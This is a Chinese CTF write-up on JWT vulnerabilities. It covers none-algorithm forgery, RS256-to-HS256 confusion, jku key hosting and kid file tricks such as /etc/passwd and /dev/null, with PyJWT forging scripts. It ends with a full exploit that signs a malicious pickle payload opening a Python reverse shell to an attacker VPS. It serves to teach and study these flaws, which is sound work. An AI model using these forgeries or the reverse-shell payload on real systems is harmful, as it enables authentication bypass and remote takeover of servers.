Make jwt great again

jwt，全称json-web-token.其安全问题一直以来众所周知。CTF中也经常性的会出现相关的jwt伪造的题目。但是之前在打了场NahamconCTF的比赛后，对jwt又有了全新的认识。因此在这里全面的解释下jwt的相关漏洞。Let's make jwt great again :).

jwt

JWT的全称 Json Web Token。它遵循JSON格式，将用户信息加密到token里，服务器不保存任何用户信息，只保存密钥信息，通过使用特定加密算法验证token，通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法

其格式也非常清晰
header.payload.signature
由三段式组成。

这里值得一提的是，flask的session生成格式也同样是三段式。有一定的异曲同工之处。但是不同于jwt。其伪造方式往往非常局限。

下面简单谈下三个部分结构

header
一个简单的header是这种形式的

{
        "alg" : "HS256",
        "typ" : "jwt"
}

但是实际上jwt的header还支持加入其它几个属性。
kid,jwk......
其具体含义将在后面提及。

payload

{
    "user_role" : "finn",    //当前登录用户
    "iss": "admin",          //该JWT的签发者
    "iat": 1573440582,        //签发时间
    "exp": 1573940267,        //过期时间
    "nbf": 1573440582,         //该时间之前不接收处理该Token
    "domain": "example.com",   //面向的用户
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
}

其中大部分变量都是可以选择性生成的。有的语言的jwt库会自动生成iat变量，但是这些都无伤大雅。往往最重要的，是当payload存储了自定义的敏感信息时。比如username之类的。

由于jwt存储信息时，header+payload的json数据是直接通过base64进行编码存储的。因此我们一定可以从payload中发现信息泄露。

但是从漏洞利用角度来讲，我们如果想要达成越权的目的，就必须得提到其signature部分。

Signature

顾名思义，就是通过前面指定的算法，去生成对应的sig.
这里我以HS256为例，从伪代码的角度讲。是这样生成的

key = 'secretkey'  
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)  
signature = HMAC-SHA256(key, unsignedToken)

可见，其思路就是用HMAC-sha256（对称加密算法），对jwt前两个部分组成的字符串进行加密。

但是实际上，大家可能注意到过一个现象：jwt中没有/,=这种本该出现在base64数据中的字符。而在之前提到过的比赛中，我也是遇到了这个问题，并通过找规律发现，jwt最终的结果会将原始的base64字符串中的/换成_。并且去掉原本base64中用于补位的=。

实际上，这点我们可以用python的库中base64.urlsafe_b64encode替换base64encode.也因此可以理解，是为了网络传输才对这几个特殊字符进行了处理。

至于另一种常见的RS256算法也是相同的道理。服务端需要存储一组publickey.pem与privatekey.pem.我们需要私钥生成token.服务端则会用公钥解密token。

exploits

接下来就是如何利用漏洞渗透jwt了。首先需要明确两点

是否需要利用jwt？
是否有其他漏洞泄露key?

之所以提到这两点是因为：jwt本身就是因为只用服务端存储一组key来减轻压力而诞生的。是可以作为sessionid的替换方案的。一般情况下，主流的编程语言python,java,Node.js都可以很轻松的调用jwt.其他语言如php也支持。而真实情况往往是他们调用jwt来存储必要的简单用户信息，所以不要认为jwt一定有漏洞可利用

同时，jwt的key也是非常头疼的一个话题。如果需要越权，那么就需要伪造token.而伪造必须需要key来签名（或者服务端脚本漏洞）。也许是受了国赛影响，jwt的key是用c-jwt-cracker暴破的.而实际情况下，key很有可能难以爆破，所以我认为最佳方案是先去寻找可能泄露key的方法。

比如某比赛我在getshell后，扒下源码时顺手看了一眼它服务端的key，根本不可能爆破

所以，尝试其他方式来获取key。这也正是我下面要总结的，用于jwt的漏洞利用。

信息泄露-伪造

必备网站：
http://jwt.io/
这也是所有jwt题目第一步就该做的。因为即使没有key，我们也能清晰的得到所有header与payload的信息。而往往这决定了我们下一步的举措。

比如，payload中有username字段。那么我们是否可以伪造admin来进行权限提升呢？或者，应用有某个变量字段取自jwt,那么我们如果有了key.就可以使用jwt.io或者python脚本进行伪造了。

以今年网鼎玄武组的js_on为例。当以弱口令登录admin时，就可以得到key。从而任意改造存在sql注入的字段进行盲注。这也就要求我们使用脚本来完成攻击。下面给出一个python调用jwt基本用法

import jwt

encoded_jwt = jwt.encode({'user_name': 'admin'}, 'secretkey', algorithm='HS256').decode('utf-8')
print(encoded_jwt)

注意python调用jwt的库是PyJwt。并且还有一个坑点是，python想要用私钥作为key，也就是使用RS256算法加密时会报错。不知道是否只有我出现这个问题。因此还是得用jwt.io解决

None-algorithm

jwt支持空算法，也就是None。原本只是为了调试用的，但这一旦出现在了源码中将是非常致命的。

比如之前虎符比赛的题目。应该是借鉴了外国赛的一个题。其源码是这样的

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
    res.locals.flag = true;
}

可以发现，当没有强调算法，直接使用jwt.verify()时，由于key可控，jwt是可以用None算法来解token的。这也就导致了简单的越权。
同理。python的源码如果没有强调，也是存在空算法伪造的。所以有时候不妨尝试一下，看看无算法能不能通过服务端校验（没有源码时）

通常步骤如下

import jwt

jwtToken= 'eyJhbGciOiJIUzI1NiIsI...'

decodedToken= jwt.decode(jwtToken, verify=False)  # Need to decode the token before encoding with type 'None'
noneEncoded= jwt.encode(decodedToken, key='', algorithm=None)
print(noneEncoded.decode())

RS256 to HS256

从非对称到对称算法的伪造。其实非常有意思但是国内CTF都没怎么见到过。

直接上真题源码，应该是之前HSCTF里面的

#生成token
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")

#用token验证身份是否为admin
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"

乍一看没什么漏洞。但是如果了解jwt，就会发现这里可能存在使用HS256替换RS256的风险。假如公钥泄露，我们就能用公钥作为key，使用HS256生成token通过校验。这同样是没有强调算法的问题。

伪造的话可以用python

import jwt
public = open('public.pem', 'r').read()
print(public)
print(jwt.encode({"data":"test"}, key=public, algorithm='HS256')).decode('utf-8')

但需要注意，这里必须满足pyjwt==0.4.3才能伪造。否则只能采用其他办法了。这里直接给出payloadallthethings里的链接https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token#jwt-signature---rs256-to-hs256

而Node.js也存在这种风险。所以说jwt的安全问题主要出在开发者源码写的不够好的原因。

jku/jwk

以上都是相对比较常见的漏洞了。甚至国内ctf还只出现过前两种。而Nahamcon的比赛让我了解到了另一种存在的漏洞。与jku相关。

JKU全称是“JWKSet URL”，它是头部的一个可选字段，用于指定链接到一组加密token密钥的URL。若允许使用该字段且不设置限定条件，攻击者就能托管自己的密钥文件，并指定应用程序，用它来认证token。

而jwk就是json web key。

实际上你能发现amazon就有相关的文档来了解jku。
https://docs.aws.amazon.com/zh_cn/cognito/latest/developerguide/amazon-cognito-user-pools-using-tokens-verifying-a-jwt.html

其中还提到了kid这个header选项。它的作用是获取对应的字段作为key。(jwk类型)

下面我用比赛中flagjokes这题来讲解下：

首先解出jwt header如下，而我们只要payload中的username为admin即可获得flag。

{
  "alg": "RS256",
  "jku": "http://localhost:5000/static/jwks.json",
  "kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"
}

jku指向了本地的网页。那么尝试直接访问
发现网页存在static/jwks.json


{
    "keys": [
  { 
    "e": "AQAB",
    "kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc",
    "kty": "RSA",
    "n": "1bVdpTILcGSahuOL6IJCbUpDZTGFHc8lzQORNLQBXDiRd1cC1k5cG41iR1TYh74cp8HYmoLXy4U2bp7GUFm0ip_qzCxcabUwWCxF07TGsmiFmCUbcQ6vbJvnSZSZGe-RFPgHxrVzHgQzepNIY2TmjgXyqt8HNuKBJQ6NoTviyxZUqy65KtSBfLYh5XzFn3FPemOla8kGBu7moSbUpgO1t3m3LgxBV5y51E1xSSoC7nAYPFrQ9wOTHEh7kGxGUQqKtGswyi2ncH22VcfQkxMA0HerFMPOr2n9eEZEbeJFco9Gp3drAYDCyj0QbkJKGdbl_50cimZ7eXgeyc3lEEXL7Q"
}
      
    ]
}

此时我发现得到jwk后，即可生成公钥了。但是网站只泄露了公钥，那么根据上面总结的，能尝试的只能是HS256替换RS256生成token.
然而当时尝试了后却得到服务端的报错。也就是说并不能更换算法来伪造token.那么怎么办呢？

此时通过查询一系列资料，终于发现jku的指定是有洞的。假如我们让它加载到我们自己的jwk.json，我们就能够以RS256算法而不是伪造HS256通过校验了。

所以，正确思路是申请一组key，kid可以自定
https://mkjwk.org/

我们可以只放中间的作为jwk.json，也可以把右边的公钥改成jwk的格式。

之后就是在线或者用脚本进行jwk->pem的转换了。这里贴出一个Node.js进行转换的脚本。

const jose = require('node-jose');
const fs = require('fs');

const args = process.argv.slice(2);

const key = fs.readFileSync(args[0]);

var DUMP_PRIVATE_KEY = ('true' == args[1]);

jose.JWK.asKey(key)
  .then(function(key) {
    console.log(key.toPEM(DUMP_PRIVATE_KEY));
  });

使用时发现node test.js private.jwk跟 public.jwk一致，证明没有问题。此时只需使用
node test.js private.jwk TRUE即可输出私钥结果，否则脚本设计上是默认不输出私钥的（危险）。

因此。本题关键是更改jku获取到我们自己的json。这样我们可以用私钥加密payload.服务端用获取到的公钥解密payload.

kid-任意文件

kid的含义上面已经提到过了：指定jwt的密钥。

kid可能存在的问题，在了解了上面jku的相关漏洞后，应该会比较清楚了。如果jwt是通过header中的kid来获取key，那么就可能造成任意文件读取（不一定有回显）

简单的情况下，我们可以直接指定kid为2，即HS256的secretkey为2

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "2"
}

或者有的时候它是从文件获取的

"kid" : "/etc/passwd"

假如有web应用把密钥回显出来（不太可能），即可读取文件。
同时还有一种思路。由于可以指定任意文件，只要找到可控的key。我们就能做到伪造jwttoken。

比如指定静态css文件，它的文件内容一定是可控的，且易于从网页获取的。

"kid" : "/css/public.css"

下面就NahamconCTF的B'omarr Style来分析下
这题因为花了我不少时间。但是仍然学到了非常多东西，所以特地写下。赛后我也一时兴起写了篇英文wp投CTFTime上了https://hackmd.io/@byc404/B1VBX8Qp8
下面我相当于补一份中文wp:

首先是题目注册，登录后的token

重点同样在于jwt的header

{
  "typ": "JWT",
  "alg": "HS256",
  "kid": "secret.txt"
}

从header信息中。我们可以推断出，jwt的key是从secret.txt这个文件中获取的。

但是非常奇怪的是，在没有key的情况下,jwt.io解出来的payload内容为空。

这里可能就需要一点眼力了，因为自己做过好几道pickle相关的序列化题，所以这里不难直接看出，jwt的payload部分被替换成了pickle生成的序列化base64内容。或者我们也可以单独拿出这一段奇怪的base64用xxd看

能够明显看到c_mamin,username等字样。这就是典型的python opcode的内容

所以这里我明确了题目的要求：伪造一个有效token,包含我们恶意的python序列化内容，进行RCE。

然而这只是第一步。接下来我们会发现，secret.txt内容未知，而想要获取key并没有其他途径。那么首先我先尝试None算法试试吧。

尝试后发现只接受HS256.看来重点是，寻找到一个可控的key。

此处的kid表示我们可以指定任意文件作为密钥，但这也是一大难点。因为此题是python环境，其静态文件基本没有可控的。它的html格式是典型的直接从cdn获取css的

而html文件虽然我们能直接获取，但是别忘了这大概率是flask起的web应用。也就是说，我们就算能指定templates/index.html作为key，html中是包含有jinja2的模板语句的，这一部分代码我们也是无法控制的。这里放出扒下来的html

所以说，静态文件这条路是走不通的。看来只能尝试系统文件了。

但这里我想大部分人都没想过，linux的系统文件中有什么是内容可控的？这其实也是一个有趣的地方。常见如/etc/passwd，/etc/hosts等等都是无法预测的。而/proc/self等等也许存在空文件但是不能百分之百确定。有没有什么内容是百分之百能够确定的呢？

有。答案就是/dev/null

我们都知道linux将垃圾内容扔进/dev/null是常见操作。而我们通常是echo log > /dev/null 2>&1来完成一次没有任何回显的直接操作。/dev/null能够丢弃一切写入其中的数据。而读取它将立即得到一个EOF。

所以说，如果我们控制kid读取/dev/null为key.此时我们直接使用空字符串作为HS256的secretkey就能得到一个有效的key.

import jwt

headers={
  "typ": "JWT",
  "alg": "HS256",
  "kid": "/dev/null"
}
payload={}
token=jwt.encode(payload,'',algorithm="HS256",headers=headers).decode('utf-8')
print(token)

通过上面的脚本，我发现更换cookie时得到的报错回显不再是Invalid Signature，而是Invalid load key
这其实是一个好消息，因为经过搜索后这是一个pickle的报错。也就是说我们已经通过校验了，只要剩下的payload部分是有效的picklebase64数据即可。

然而仔细一想发现问题不对。jwt作为json web token，有效的传输数据都应该是json数据。但这里居然直接把pickle的opcodebase64后放在了payload部分。这让当时的我无法理解。这也就意味着：payload的原始内容在python中不是一个字典，也就是说我们无法直接通过pyjwt库进行密文生成。

于是我去找资料。发现其实jwt的HS256签名是hmac-sha256生成的。其中key是jwt的secretkey.data是base64(header).base64(payload)整体

所以我们可以使用脚本手动拼接。
下面直接给出完整的exp

import pickle
import os
import base64
from hashlib import sha256
import hmac




class exp(object):
    def __reduce__(self):
        s = """python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'   """
        return (os.system, (s,))

e = exp()
payload=base64.urlsafe_b64encode(pickle.dumps(e)).decode('utf-8')
#print(payload)

key = "".encode('utf-8')
data =("eyJraWQiOiIvZGV2L251bGwiLCJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."+payload).encode('utf-8')
#print(data)
signature = base64.urlsafe_b64encode(hmac.new(key,data,digestmod=sha256).digest())
#print(signature)
print(data.decode()+'.'+signature.decode().rstrip('='))

解释几点
1.payload部分pickle与cPickle都可以。但是这里是python3环境，还是得用python3生成。

2.注意我使用了base64.urlsafe_b64encode而不是base64encode。这点上面也讲过了，jwt中不会出现/和=这样的字符的。比赛中我并没有去详细查询，而是直接手动将/替换成_并去掉=同样得到了有效的key.

3.这里生成pickle的payload我也同样做了点手脚：在弹shell的代码后加了几个空格。原因同上，因为payload部分同样不允许=这样的字符。所以可以手动加空格防止出现=.

4.弹shell只可能使用python或bash反弹shell.因为这个靶机真的啥都没有（curl,wget,nc）。当然如果渗透linux靶机做多了也能发现python弹shell真的万金油。没有用bash纯粹是因为搞忘了:(

5.最后wp放出来后有网友说直接照搬我的exp服务端会报错module 'nt' not found。我试了下发现居然真的有这个问题。但是比赛时我是用vps上的python3.5生成的payload,经测试还是可以成功RCE。而换到本机上的python3.7就出错了。最后对比payload发现两者生成的签名不一致，这里我只能推断是加密算法的问题。毕竟本机上的pycrypto我一直没弄好过。

最后成功弹shell.

小结

jwt安全的相关漏洞我认为基本上就只有以上这些了。因为其实其他相关的洞或多或少都与此相关。只要掌握了这些常见可利用的点，并且了解一下算法的流程，即使碰到最后一道题这种变通性极强的也能顺着思路走下去